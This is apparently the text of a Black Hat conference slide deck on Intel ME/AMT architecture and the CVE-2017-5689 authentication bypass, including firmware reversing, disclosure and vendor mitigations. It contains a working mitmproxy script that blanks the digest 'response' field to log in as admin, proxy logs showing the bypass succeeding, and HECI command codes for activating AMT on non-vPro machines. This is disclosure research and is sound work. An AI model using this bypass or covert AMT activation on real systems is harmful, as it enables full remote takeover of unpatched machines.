

INTEL AMT. STEALTH BREAKTHROUGH

Dmitriy Evdokimov, CTO Embedi

Alexander Ermolov, Security researcher Embedi Maksim Malyutin, Security researcher Embedi

🕑 #BHUSA / @BLACKHATEVENTS



EMBEDI

Dmitriy Evdokimov CTO of Embedi d.evdokimov@embedi.com <u>@evdokimovds</u>

Alexander Ermolov researcher, reverse engineer, and information security expert a.ermolov@embedi.com <u>@flothrone</u>

Maksim Malyutin

programmer who has occasionally ended up dealing with information security m.malyutin@embedi.com <u>@jesusfailed</u>

🔰 #BHUSA / @BLACKHATEVENTS



Real-time Q&A

Ask us in twitter live, during the BlackHat session!

Just use **#askaboutintelamt** hashtag in your question in twitter, and we will answer you at once!





- 1. Introduction to Intel 64 system architecture
- 2. Intel ME/AMT architecture overview
- 3. Unauthorized remote access to Intel AMT system

- 4. Spread out
- 5. Full attack scenario
- 6. Conclusions



Introduction to Intel 64 system architecture



System architecture overview

The best known execution environments:

- Intel CPU
- Intel ME

UEFI BIOS and Intel ME firmware (and a few other blobs) are system firmware stored on the common SPI flash memory.





System firmware





Execution privileges

	Ring 3	User applications User applications (optional)
CPU	Ring 0	స్టోఫి OS kernel & drivers ్లా OS kernel & drivers (optional)
	Ring -1	Hypervisor (optional)
	Ring -2	System Management Mode
Chipset	Ring -3	Intel Management Engine



Intel ME/AMT architecture



Intel ME architecture

Intel ME is based on the MCU with ROM and SRAM.

The most privileged and hidden execution environment:

- a runtime memory in DRAM, hidden from CPU
- full access to DRAM
- working even when CPU is in S5 (system shutdown)
- out-of-band (OOB) access to network interface
- undocumented communication protocol (MEI)

AMD have a similar technology presented in 2013 – the Platform Security Processor (PSP).





Intel ME presence

Intel ME is integrated into:

- Q-type chipsets since 960 series (2006)
 - Intel ME 2.x 5.x
- Any chipset since 5 series (2010)
 - Intel ME 6.x 11.x
 - Intel TXE 1.x 3.x
 - Intel SPS 1.x 4.x

Its name and firmware implementation is specific to a platform type:

- Desktop/Laptop
- Server
- Mobile

Intel Management Engine (ME) Intel Server Platform Services (SPS)

Intel Trusted Execution Engine (TXE)

PCH	ME/AMT version
5 series chipset	ME 6.x (AMT 6.x)
6 series chipset	ME 7.x (AMT 7.x)
7 series chipset	ME 8.x (AMT 8.x)
8 series chipset	ME 9.x (AMT 9.x)
9 series chipset	ME 9.5.x/10x (AMT 9.5.x/10x)
100 series chipset 200 series chipset	ME 11.x (AMT 11.x)



Intel ME RE problems

Unknown ME ROM contents on production systems

ME ROM images can be found inside Intel ME firmware pre-production debug images (used for debug ROM bypass capability)

Code is partially compressed with Huffman, but the dictionary is unknown There is a reconstructed dictionary for ME 6.x - 10.x firmware (see unhuffme)

Undocumented MEI communication protocol Some details are already reconstructed (see me_heci.py)

Inaccessible ME UMA

No method to disable Intel ME

But there are ways to cut out unnecessary firmware components (see me_cleaner.py)



Reversing Intel ME

me_unpack.py	parse Intel ME firmware images and extract all partitions/modules
<u>me_util.py</u>	send commands to Intel ME through HECI
<u>Intelmetool</u>	check Intel ME status through HECI
<u>unhuffme</u>	unpack Huffman-compressed modules from Intel ME firmware image 6.x – 10.x
<u>MEAnalyzer</u>	a tool to analyze Intel ME firmware images
unME11	unpack some Huffman-compressed modules from Intel ME firmware 11.x



Useful links

- "Rootkit in your laptop", Igor Skochinsky
- "Intel ME: The Way of the Static Analysis", Dmitry Sklyarov
- A. Kumar, «Active Platform Management Demystified: Unleashing the Power of Intel VPro (TM) Technology", 2009, Intel Press.
- Xiaoyu Ruan, «Platform Embedded Security Technology Revealed: Safeguarding the Future of Computing with Intel Embedded Security and Management Engine", 2014, APress.



Intel ME firmware components

There are main firmware components:

- bringup module
- kernel
- drivers and services (to support timers, network, heci, ...)

and the applications, that implements different Intel technologies:

- PTT
- AMT

•••

Depending on the technologies applied, the firmware types are:

- Ignition firmware (ME 6.x only) the minimal contents
- 1.5MB firmware not full modules contents
- 5MB firmware full firmware contents



Intel AMT Architecture

Intel AMT is an application inside Intel ME firmware.

Intel AMT features:

- Web-Interface
- SOL
- IDE-R
- KVM

It is a part of the "vPro" brand, so it is officially supported on the vPro-marked systems. Usually these systems have Q-type chipsets.

Access Control List (ACL) Management Access Monitor ******Agent Presence Alarm Clock Boot Control **Certificate Management** Discovery *Event Manager Hardware Assets ******KVM Configuration ******Network Administration Power **Power Packages** **Redirection (SOL and USB-R) Remote Access Storage **Storage File System *System Defense Time Synchronization User Consent *Wireless

* Posible interesting for attacker ** Intresting for attacker



Intel AMT Access

Intel AMT features can be accessed via a network or a local interface

Intel AMT has two types of interfaces: network interfaces (Intel AMT Releases 2.5, 2.6, 4.0, and 6.0 and later releases support a wireless, along with a wired, network interface) and a local interface.

TCP/UDP messages addressed to certain registered ports are routed to Intel AMT when those ports are enabled. Messages received on a wired LAN interface go directly to Intel AMT.

Local applications can communicate with the Intel ME the same way network applications do: WS-Management over SOAP over HTTP This could be done using the Local Manageability Service.





Intel AMT network Ports

- 5900 AMT VNC-server without encryption;
- 16992 AMT web-server, HTTP protocol;
- 16993 AMT web-server, HTTPS protocol;
- 16994 AMT redirection for SOL, IDE-R, KVM without encryption;
- 16995 AMT redirection for SOL, IDE-R, KVM with TLS.

Intel AMT authentication options:

- Digest
- Kerberos



Unauthorized remote access to Intel AMT system



Intel AMT logon page

When accessed through a regular web-browser Intel AMT redirects us to a logon page and challenges with a password.





Digest Authentication in Intel AMT

As for <u>RFC 2617</u>, the first time the client requests the document, no Authorization header field is sent, so the server responds with *401 Unauthorized*.

```
$ mitmdump -p 8080 -dd
Proxy server listening at http://0.0.0.0:8080
127.0.0.1:50186: clientconnect
>> GET http://192.168.1.1:16992/index.htm
         Host: 192.168.1.1:16992
         User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US, en; q=0.5
         Accept-Encoding: gzip, deflate
         Connection: keep-alive
        Upgrade-Insecure-Requests: 1
<< 401 Unauthorized 689b
         nonce="+9GoAAZEAACYo+Ka4uJ0dCwoKCxAtTP2",stale="false",qop="auth"
         Content-Type: text/html
         Server: Intel(R) Active Management Technology 9.0.30
         Content-Length: 689
         Connection: close
127.0.0.1:50186: clientdisconnect
```



Digest Authentication in Intel AMT

When given a username and password, the client responds with a new request, including the Authorization header field:

. . . 127.0.0.1:50190: clientconnect >> GET http://192.168.1.1:16992/index.htm Host: 192.168.1.1:16992 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8 Accept-Language: en-US, en; g=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Digest username="admin", realm="Digest:C809000000000000000000000000", nonce="JOKoAAdFAAApOD4w/1+88v4fscE6y2Ke", uri="/index.htm", response="7a8df4aa68a83ba59855d7a433522cf7", gop=auth, nc=0000001, cnonce="6e8da33dda6b05d8" << 200 OK 2.42k Date: Wed, 5 Jul 2017 20:07:21 GMT Server: Intel(R) Active Management Technology 9.0.30 Content-Type: text/html Transfer-Encoding: chunked Cache-Control: no cache Expires: Thu, 26 Oct 1995 00:00:00 GMT 22



Digest Authentication in Intel AMT

Note the name of the fields sent in the Authorization Headers. These strings will help us to pin-point the auth-related functionality in the actual ME firmware.

. . . 127.0.0.1:50190: clientconnect >> GET http://192.168.1.1:16992/index.htm Host: 192.168.1.1:16992 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8 Accept-Language: en-US, en; g=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Digest username="admin", realm="Digest:C8090000000000000000000000000000", nonce="JOKoAAdFAAApQD4w/l+88v4fscE6y2Ke", uri="/index.htm", response="7a8df4aa68a83ba59855d7a433522cf7", qop=auth, nc=0000001, cnonce="6e8da33dda6b05d8" << 200 OK 2.42k Date: Wed, 5 Jul 2017 20:07:21 GMT Server: Intel(R) Active Management Technology 9.0.30 Content-Type: text/html Transfer-Encoding: chunked Cache-Control: no cache Expires: Thu, 26 Oct 1995 00:00:00 GMT



Probably the easiest way to start digging into ME firmware prior to 10.x would be like:

- \$ git clone https://github.com/embedi/meloader.git
 \$ ed meloader
- \$ cd meloader
- \$ ln -s meloader.py ~/your-ida-place/loaders
- \$ ln -s _meloader ~/your-ida-place/loaders
- \$ idaq 9.0.30.1482_5MB_PRD_RGN.bin

Load file /home/danse/intelme/9.0.30.1482_5MB_PRD_RGN.bin <u>a</u> s							
Intel ME firmware Binary file	[meloader.py]						
Processor type							
Argonaut RISC Co	ore ARCompac	t [arcmpct]			-	Set	
Loading <u>s</u> egment	0×00000000	Analysis ☑ <u>E</u> nabled		Kernel options <u>1</u>	Kernel	options <u>2</u>	
Loading o <u>f</u> fset	0×00000000	⊠ In <u>d</u> icato	r enabled	<u>P</u> rocesso	r option	s	
Options							
🗆 Loading <u>o</u> pti	ions		🗆 Load <u>r</u> e	sources			
🛛 Fill segment	<u>q</u> aps		🗹 Renam	e DLL en <u>t</u> ries			
⊠ <u>C</u> reate segn	nents		□ <u>M</u> anual	load			
□ Create F <u>L</u> AT	group		🗆 Create	imports segment			
□ Load as c <u>o</u> d	e segment						
		Help <u>C</u> an	icel	<u>о</u> к			



... which will result in:

💮 Program Segmentation												
Name	Start	End		w >			Align	Base	Туре	Class	AD	rVds
😝 JOM_BSS	200DA000	200DB000		??			page		public			
🚯 WCODTAYLOR_KAPI	200DB000	200DC000		??			page	00	public			00
WCODTAYLOR_CODE	200DC000	IDA View-B										
🔠 WCODTAYLOR_DATA	201371F2		ERNEL	COL	n ⊨• 20		00 #			= SILR		ТТ К Е
WCODTAYLOR_BSS	2014C000		ERNEL	COL	E:20	019F0	000					
ROMP_CODE	20185000	l l	ERNEL	_cot	DE:20)19F0	000					
😝 ROMP_DATA	20185480				DE:20	019F0	000 KERN	EL_CO	DE_2019	9F000		
ROMP_BSS	20186000	•	(FRNFI	COL)E:20	019F0	000			pusn push	r13 r14	
BUP_CODE	20187000	•	ERNEL	COE	E:20)19F0	004			push		
😝 BUP_DATA	20196ADC									mov		
BUP_BSS	2019A000			COE)E:20)19F0	008			mov L1	r13, I	
KERNEL_CODE	2019F000	•	(ERNEL	COL)E:20	019F0				mov	r0. r	L_CODE_2019F048
😝 KERNEL_DATA	201E7C60	•	ERNEL	COE	E:20)19F0	010			mov	rl, r	13
😝 KERNEL_BSS	201E9000									bl	KERNEI	L_CODE_2019F08C
😝 SESSMGRPRIV_KAPI	201F5000			co)E:20)19F0)16			pop	blink	
SESSMGRPRIV_CODE	201F6000	•	(ERNEL	COL)E:20	019F0	010			pop non	r14 r13	
😝 SESSMGRPRIV_DATA	20202410	•	ERNEL	COE						j	[blin	k]
SESSMGRPRIV_BSS	20204000											
😝 НОТНАМ_КАРІ	203C8000			co)E:20)19F0)1E			nop		
B HOTHAM_CODE	203C9000		(FRNFI	COL)F:20)19F0	DIE # EN					
🖶 HOTHAM_DATA	203CDE64	j i	ERNEL	COE								
HOTHAM BSS	203CF000	ŀ										
POLICY KAPI	203EA000			co)E:20)19F0)20					
POLICY CODE	203EB000		(FRNEL	COL)E:20	1950	020 120 KERN		DE 2010	05020		# CODE XBEE: KERNEL CODE 2019E08C+AELD
POLICY DATA	20404E66	•	ERNEL	COE	E:20				02_2010	push		
POLICY BSS	20407000									bl	KERNEI	L_CODE_201E3A8C
utilities KAPI	20409000			cot	DE:20)19F0)26			ld	r2, =	KERNEL_DATA_201E8C98 # r2 <- unk_201E8C98 @ 201E8C98
utilities CODE	2040A000	•	(ERNEL	COL)E:20	1950)28)2∆			cmn	$r_{1} = r_{2}$	aPreapisemaphor # ri <- aPreapisemaphor @ 201E8008 1
utilities DATA	204115D0	_ <u></u>	ERNEL	COE)E:20)19F0				bls	loc 2	019F036
a utilities BSS	20413000									ld	r0, =	KERNEL_BSS_201E9000 # r0 <- unk_201E9000 @ 201E9000
MCTP KAPI	20414000			COI	DE:20	019F0	030			sub	r2, r	2, r1
MCTP CODE	20415000		(FRNEL	_COL)E:20	19F0)32)36 —			DL	RAPI_I	тетсру
Line 27 of 133			ERNEL	COE)E:20)19F0	36 loc	2019F	036:			# CODE XREF: KERNEL CODE 2019F020+Ctj
LING 25 OF 135		<u>*</u>								b	KERNEI	L_CODE_201E3AE4
)34 #					

🛕 Structures	
00000000 # Ins/Del : create/dele 00000000 # D/A/* : create stru 00000000 # N : rename stru 00000000 # U : delete stru 00000000 #	te structure cture member (data/ascii/array) cture or structure member cture member
00000000 00000000 KAPI_EXPORT_TABLE struct 000000000 000000000 000000000 000000000 000000000 000000000 000000002 unit .short	# (sizeof=0x4, copyof_1 , variable size) # XREF: LOCLEN_DATA:LOCLEN_DATA_20041FE8/r # LOCLEN_DATA:LOCLEN_DATA_20041FF0/r ?
00000004 func: .long 0 00000004 KAPI EXPORT TABLE ends	
IDA View-B	
NETSTACK_DATA: 2048B884 NETSTACK_DATA: 2048B884 NETSTACK_DATA: 2048B884 NETSTACK_DATA: 2048B897 NETSTACK_DATA: 2048B897 NETSTACK_DATA: 2048B897 NETSTACK_DATA: 2048B897 NETSTACK_DATA: 2048B888 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800 NETSTACK_DATA: 2048B800	aNetpIpv6Resour:.ascii "NetP Ipv6 Resource" # DaTA XREF: NETSTACK_CODE_20458CB4+C21o # NetsTACK_CODE:NETSTACK_CODE_20458CB4+C21o # DATA XREF: NETSTACK_CODE_20458CB4+1BE1o # DATA XREF: NETSTACK_CODE_204458CC+A1o # DATA XREF: NETSTACK_CODE_204458CC+A1o # DATA XREF: NETSTACK_SS_2048F5Fa> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F5Fa> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK_BSS_2048F560a> KAPI_IMPORT_DESCR <0X1022, NETSTACK BSS_2048F560a> KAPI_IMPORT_DESCR <0X1023, NETSTACK BSS_2048F560a>



Quick search to "cnonce" string yields this:

😴 Strings window						
Address	Length	Туре	String			
😨 NETSTACK	0000000B	с	, cnonce=\"			
😴 NETSTACK	00000007	С	cnonce			
😴 CONFSTAC	0000008	С	McNonce			
	IDA View-B					
	• •	NETSTAC	CK_DATA:2048C56C CK_DATA:2048C56C	aUsername:	.ascii "username"	# DATA XREF: NETSTACK_CODE_20431E74+14to # NETSTACK_CODE_20431E74+2Eto
	•	NETSTAC	CK_DATA: 2048C56C CK_DATA: 2048C575	aRealm:	.byte 0 .ascii "realm"	# DATA XREF: NETSTACK_CODE_20431E74+2Eto
	•	NET STAC NET STAC	CK_DATA: 2048C578 CK_DATA: 2048C578 CK_DATA: 2048C578	aNonce:	.ascii "nonce"	# DATA XREF: NETSTACK_CODE_20431E74+4010 # NETSTACK CODE 20432B90+1210
	-	NETSTAC	CK_DATA: 2048C57B CK_DATA: 2048C581	aUri:	.byte 0 .ascii "uri"	<pre># DATA XREF: NETSTACK_CODE_20431E74+54to</pre>
	• •	NETSTAC NETSTAC NETSTAC	CK_DATA:2048C581 CK_DATA:2048C585 CK_DATA:2048C585	aResponse_0:	.byte ⊙ .ascii "response" .byte ⊙	# DATA XREF: NETSTACK_CODE_20431E74+66to
		NETSTAC	CK_DATA:2048C58E CK_DATA:2048C58E	aQop:	.ascii "qop" .byte O	# DATA XREF: NETSTACK_CODE_20431E74+7Eto
		NETSTAC NETSTAC	CK_DATA:2048C592 CK_DATA:2048C592	aNc:	.ascii "nc" .byte O	# DATA XREF: NETSTACK_CODE_20431E74+92to
		NETSTAC	CK_DATA:2048C595 CK_DATA:2048C595	aCnonce:	.ascli "cnonce" .byte O	# DATA XREF: NETSTACK_CODE_20431E74+A2to
		NETSTAC	CK_DATA:2048C59C CK_DATA:2048C59C	NETSTACK_DATA_20	048C59C∶.ascıı "%8x"	# DATA XREF: NETSTACK_CODE_20453BC8+14to # NETSTACK_CODE:NETSTACK_CODE_20453CC8to



Let's now look closer at the actual code of NETSTACK_CODE_20431E74() subroutine:

```
. . .
 NETSTACK CODE:20431ED4
         r13, sp, 0x7C
    add
         r0, r17
    mov
         r1, r18
    mov
    add
        r2, r14, (aResponse 0 - aUsername) # "response"
        r3, r13, 0x24 # R3 = SP + 0xA0 = &response
   add
         NETSTACK AuthGetValue
    bl
         r0, 0
    cmp
    bne
         error
; NETSTACK CODE:20431FC8
         r1, [sp,0x10C+user response]
    ld
                          # computed response
         r0, r13
    mov
         r2, [sp,0xA4]
                          # response.length
    ld
         RAPI strncmp
    bl
         r0, 0
    cmp
    bne
          error
         r0, 0
                                 # zero means success!
    mov
    add
         sp, sp, 0x108
         RAPI 2000DA4
    b
                          # ret
```

The part where the call to strncmp() occurs seems most interesting here:

Given an empty string the strncmp() evaluates to zero thus accepting and an empty response as a valid one!



10 LOC for victory

Once again we will use a <u>mitmproxy</u> tool, but armed with a script that blanks the "response" field of Authorization header:

```
$ cat > blank_auth_response.py
import re
```

```
def start():
    return BlankAuthResponse()
```

```
class BlankAuthResponse:
```

```
RESPONSE_RE = re.compile('(response=".*?")', flags=re.DOTALL)

def request(self, flow):
    if flow.request.port in (16992, 16993):
        if flow.request.port in flow.request.headers:
            flow.request.headers['Authorization'] = \
                self.RESPONSE_RE.sub('response=""', flow.request.headers['Authorization'])
```



Local proxy, armed with the above-mentioned script, and try to access the Intel AMT through this proxy using an obviously incorrect password.





As in the previous case no Authorization header field is sent, so the server responds with 401 Unauthorized.

```
$ mitmdump -p 8080 -dd --no-http2 -s blank auth response.py
Proxy server listening at http://0.0.0.0:8080
>> GET http://192.168.1.1:16992/index.htm
        Host: 192.168.1.1:16992
        User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
        Accept-Language: en-US, en; g=0.5
        Accept-Encoding: gzip, deflate
        Referer: http://192.168.1.1:16992/logon.htm
        Connection: keep-alive
        Upgrade-Insecure-Requests: 1
<< 401 Unauthorized 689b
         nonce="efoAAQdGAADhoXdHX8P3u0jsI18jLaZN",stale="false",qop="auth"
         Content-Type: text/html
        Server: Intel(R) Active Management Technology 9.0.30
        Content-Length: 689
         Connection: close
```



But then... 200 OK, yay! Note an empty value for the "response" field.

```
. . .
127.0.0.1:50856: clientconnect
>> GET http://192.168.1.1:16992/index.htm
         Host: 192.168.1.1:16992
         User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US, en; q=0.5
         Accept-Encoding: gzip, deflate
         Referer: http://192.168.1.1:16992/tokenexp.htm
         Authorization: Digest username="admin", realm="Digest:C809000000000000000000000000000",
nonce="cZwGAQdHAACp1IXkfN+PXVbcKduiJY6i", uri="/index.htm", response="", qop=auth, nc=00000001,
cnonce="33366b65c3dc402b"
          Connection: keep-alive
         Upgrade-Insecure-Requests: 1
         Cache-Control: max-age=0
<< 200 OK 2.42k
         Date: Wed, 5 Jul 2017 21:49:31 GMT
          Server: Intel(R) Active Management Technology 9.0.30
         Content-Type: text/html
         Transfer-Encoding: chunked
         Cache-Control: no cache
          Expires: Thu, 26 Oct 1995 00:00:00 GMT
```



Every AMT feature is now available for an attacker as if he knows the admin password.

Intel [®] Active Mar Computer:	nagement Technology	intel	(+) 192.168.1.1:1	6992/index.htm	C Search	
System Status Hardware Information System Processor Memory Disk Event Log Remote Control Power Policies Network Settings IPv6 Network Settings System Name Settings User Accounts	Power state: On Send a command to this computer: Turn power off* Cycle power off and on* Reset* *Caution: These commands may cause user application data loss.		Intel® Active Mai Computer: System Status Hardware Information System Processor Memory Disk Event Log Remote Control Power Policies Network Settings IPv6 Network Settings System Name Settings	System Status Power On IP address 192.16 IPv6 address Disabl System ID 03880 Date 7/5/20 Time 9:52 p Refresh	58.1.1 led 288-0488-0588-8706-880700080009 17 m	
	Send Command		User Accounts	Copyright © 2005-2013 Intel Corpor	ration. All Rights Reserved. Intel® Active Management Technolo	ogy firmware version: 9.0.30-build 1482



Intel bug bounty program

lackerone

From Intel Product Security Incident Response Team <Intel.Product.Se... 📌

Subject Intel Announces Bug Bounty Program

03/16/2017 12:10 AM

📩, Me <m.malyutin@embedi.com>\$, Intel Product

Maksim,

Intel announced a bug bounty program at CanSecWest today in Vancouver B.C. Here is the Intel link and it includes requirements <u>https://security-center.intel.com/BugBountyProgram.aspx</u>. Can you please review and let us know if you'd be interested in participating we could use the AMT vulnerability you discovered as a starting point. Sincerely.

Intel Product Security Incident Response Team www.intel.com/security secure@intel.com

#215598 Intel AMT authentication bypass vulnerability





CVE-2017-5689

Vulnerability Details : CVE-2017-5689

An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).

Publish Date : 2017-05-02 Last Update Date : 2017-05-29

 Collapse All
 Expand All
 Select
 Select&Copy
 Scroll To
 Comments
 External Links

 Search Twitter
 Search YouTube
 Search Google

- CVSS Scores & Vulnerability Types

CVSS Score	10.0
Confidentiality Impact	Complete (There is total information disclosure, resulting in all system files being revealed.)
Integrity Impact	Complete (There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the entire system being compromised.)
Availability Impact	Complete (There is a total shutdown of the affected resource. The attacker can render the resource completely unavailable.)
Access Complexity	Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit.)
Authentication	Not required (Authentication is not required to exploit the vulnerability.)
Gained Access	None
Vulnerability Type(s)	Gain privileges
CWE ID	264

- Intel SA 00075 Security Advisory
- <u>US-CERT</u>



Exploitation of CVE-2017-5689

There is a vulnerability that allows attackers to log as "admin" user in the AMT.

- The only thing needed is open 16992/16993 port
- Doesn't depend on software
- Turned off devices may be attacked as well
- Some systems are accessible through the Internet
- Attackers can use all the Intel AMT capabilities for their own good

There are 2 attack methods:

- Local (by using the LSM service)
- Remote (via the open port)





Impact of CVE-2017-5689

Top Organizations

Verizon Wireless Oregon State University Deutsche Telekom AG University of New South Wales University of Keele University of Southern California Center of Dedicated Servers LLC University of Main System University of Maryland Telenor Norge AS



Top Countries

1.Unated States	2.433
2.Germany	763
3.Canada	566
4. Unated Kingdom	408
5. Australia	325
6. Russian Federation	289
7. Romania	222
8.Norway	159
9. Korea	118
10.Poland	110

Shodan <u>"Intel AMT Report 02-05-2017"</u>



Intel AMT bug & Industrial PC

Security advisor: SSA-874235: Intel Vulnerability in Siemens Industrial Products













After news

After news

Tenable <u>"Rediscovering the Intel AMT Vulnerability</u> — <u>No PoC, No Patch, No Problem!"</u>

After details Many community tools:

- <u>Nmap script</u>
- Metasploit module
- <u>AMT status checker for Linux</u>
- <u>Tool to disable Intel AMT on Windows</u>
- Detection Script for CVE-2017-5689
- Intel AMT honeypot 1
- Intel AMT honeypot 2







 \sim

Fun is starting... Connections to port 16992 are increasing (#IntelAMT) #honeypot





Mitigations

Intel:

- INTEL-SA-00075 Detection and Mitigation Tool
- INTEL-SA-00075 Mitigation Guide

As Intel becomes aware of computer maker schedules for updated firmware this list will be updated:

- HP Inc. http://www8.hp.com/us/en/intelmanageabilityissue.html
- HP Enterprise http://h22208.www2.hpe.com/eginfolib/securityalerts/CVE-2017-5689-Intel/CVE-2017-5689.html
- Lenovo https://support.lenovo.com/us/en/product_security/LEN-14963
- Fujitsu http://www.fmworld.net/globalpc/intel_firmware/
- Dell Client http://en.community.dell.com/techcenter/extras/m/white_papers/20443914
- Dell EMC http://en.community.dell.com/techcenter/extras/m/white_papers/20443937
- Acer https://us.answers.acer.com/app/answers/detail/a_id/47605
- Asus https://www.asus.com/News/uztEkib4zFMHCn5r
- Panasonic http://pc-dl.panasonic.co.jp/itn/info/osinfo20170512.html
- Toshiba https://support.toshiba.com/sscontent?contentId=4015668
- Getac http://intl.getac.com/aboutgetac/activities/activities_2017051648.html
- Intel NUC, Compute Stick and Desktop Boards
- Samsung http://www.samsung.com/uk/support/intel_update/



Spread out



The "vPro" can make a difference



• Different BIOS

 Similar Intel ME firmware versions and code





The "vPro" can make a difference





Intel ME state

What can be done through HECI?

Intel MEI(HECI) can also be used to check the state of Intel ME subsytem:

- FWSTATUS registers;
- Status request to MKHI;
- Intel PT

•••

•

Administrator: Command Prompt				×
Slot 3 Reserved	6	x00000000		~
M3 Autotest	E	nabled		
C-link Status	E	nabled		
Localized Language	E	nglish		
Independent Firmware Recovery	C	isabled		
EPID Group ID	6	xF85		
OEM Public Key Hash FPF	D.	lot set		
OEM Public Key Hash ME	e	000000000000	000000000000000000000000000000000000000	
ACM SVN FPF	e	0x0		
KM SVN FPF	e	xØ		
BSMM SVN FPF	e	xØ		
GuC Encryption Key FPF	N	lot set		
GuC Encryption Key ME	e	000000000000	000000000000000000000000000000000000000	
	F	PF	ME	
Force Boot Guard ACM	N 0	lot set	Disabled	
Protect BIOS Environment	n 1	lot set	Disabled	
CPU Debugging	P	lot set	Enabled	
BSP Initialization	N	lot set	Enabled	
Measured Boot	L.	lot set	Disabled	
Verified Boot	D.	lot set	Disabled	
Key Manifest ID	٨	lot set	θxθ	
Enforcement Policy	D	lot set	0x0	
PTT	N	lot set	Enabled	
EK Revoke State	D.	ot Revoked		
PTT RTC Clear Detection FPF	ľ	lot set		
	- 1		C MITHORING A	
C:\Users\usar\Desktop\Intel ME System	10015 VJ	1.0 r16\ME1	nto\WINDUW564>	~



The HECI is used to configure Intel AMT.

HECI PCI CFG points to HECI MMIO, where the circular buffer window is mapped to send messages to Intel ME and get responses.

23.1.2 MEI0_MBAR-Intel[®] MEI 1 MMIO Registers

These MMIO registers are accessible starting at the Intel MEI 1 MMIO Base Address (MEI0_MBAR) which gets programmed into D22:F0:Offset 10-17h. These registers are reset by PLTRST# unless otherwise noted.

Table 23-2. Intel[®] MEI 1 MMIO Register Address Map

MEIO_MBAR+ Offset	Mnemonic	Register Name	Default	Attribute
00–03h	H_CB_WW	Host Circular Buffer Write Window	00000000h	W
04h-07h	H_CSR	Host Control Status	02000000h	RO, R/W, R/WC
08h-0Bh	ME_CB_RW	Intel ME Circular Buffer Read Window	FFFFFFFh	RO
0Ch-0Fh	ME_CSR_HA	Intel ME Control Status Host Access	02000000h	RO

Intel $^{\textcircled{0}}$ MEI 1 Configuration Registers Address Map (Intel $^{\textcircled{0}}$ MEI 1–D22:F0) (Sheet 1 of 2)

Offset	Mnemonic	Register Name	Default	Attribute
00h-01h	VID	Vendor Identification	8086h	RO
02h-03h	DID	Device Identification	See register description	RO
04h-05h	PCICMD	PCI Command	0000h	R/W, RO
06h-07h	PCISTS	PCI Status	0010h	RO
08h	RID	Revision Identification	See register description	RO
09h-0Bh	CC	Class Code	078000h	RO
0Eh	HTYPE	Header Type	80h	RO
10h–17h	MEI0_MBAR	Intel MEI 1 MMIO Base Address	000000000 0000004h	R/W, RO
2Ch–2Dh	SVID	Subsystem Vendor ID	0000h	R/WO
2Eh–2Fh	SID	Subsystem ID	0000h	R/WO
34h	CAPP	Capabilities List Pointer	50h	RO

d D	evice Ma	nager						
File	Action	View	Help					
ļ	🖬		? 🖬	\mathbf{P}	k	×	€	
	i	Intel(R) 8	Series/	C220 S	eries	SM	Bus C	ontroll
		Intel(R) E	85 LPC	Contro	ller	- 8C	50	
		Intel(R) N	/lanage	ment E	ngin	e In	terfac	e
		Intel(R) X	(eon(R)	proces	sor E	3 - 1	1200 v	/3/4th (



HECI is based on DCMI-HI protocol.

There are clients (code modules) that use HECI inside Intel ME firmware. To connect them you need to know GUIDs of the client.

Known GUIDs :

ICC42b3ce2f-bd9f-485a-96ae-26406230b1ffMKHI8e6a6715-9abc-4043-88ef-9e39c6f63e0LMS3d98d9b7-1ce8-4252-b337-2eff106ef29fAMTHI12f80028-b4b7-4b2d-aca8-46e0ff65814c



The message to Intel ME should contain the command description (specifies the action required from Intel ME to make). The command is described by the groupID/command field.

To send the message through the HECI you need to

- 1. Connect to the client using the GUID
- 2. Send a message using the following format:

```
struct
{
    unsigned int groupID; // the AMTHI client code, 0x12
    unsigned int command; // command code
    unsigned int isResponse;
    unsigned int reserved;
    unsigned int result;
```

};

3. Get the acknowledge message



MEI->AMTHI transactions required to activate the AMT

Command name	groupID	Command code	Ack code	Description
AMT_INIT	groupID 0x12	command 0x05	ack 0x85	Network access initialization
AMT_SET_PWD	groupID 0x12	command 0x09	ack 0x89	Set password for admin user
AMT_SET_IVP4	groupID 0x12	command 0x0C	ack 0x8C	Set IP address

Attention! Non-vPro systems has no user interface for disabling Intel AMT!

MEI->AMTHI transactions required to deactivate the AMT

Command name	groupID	Command code	Ack code	Description
AMT_UNPROVISION	groupID 0x12	command 0x06	ack 0x86	AMT deactivation (need reboot)



AMTactivator

AMTactivator:

- 1. mei.sys 32-bit kernel driver to work with MEI
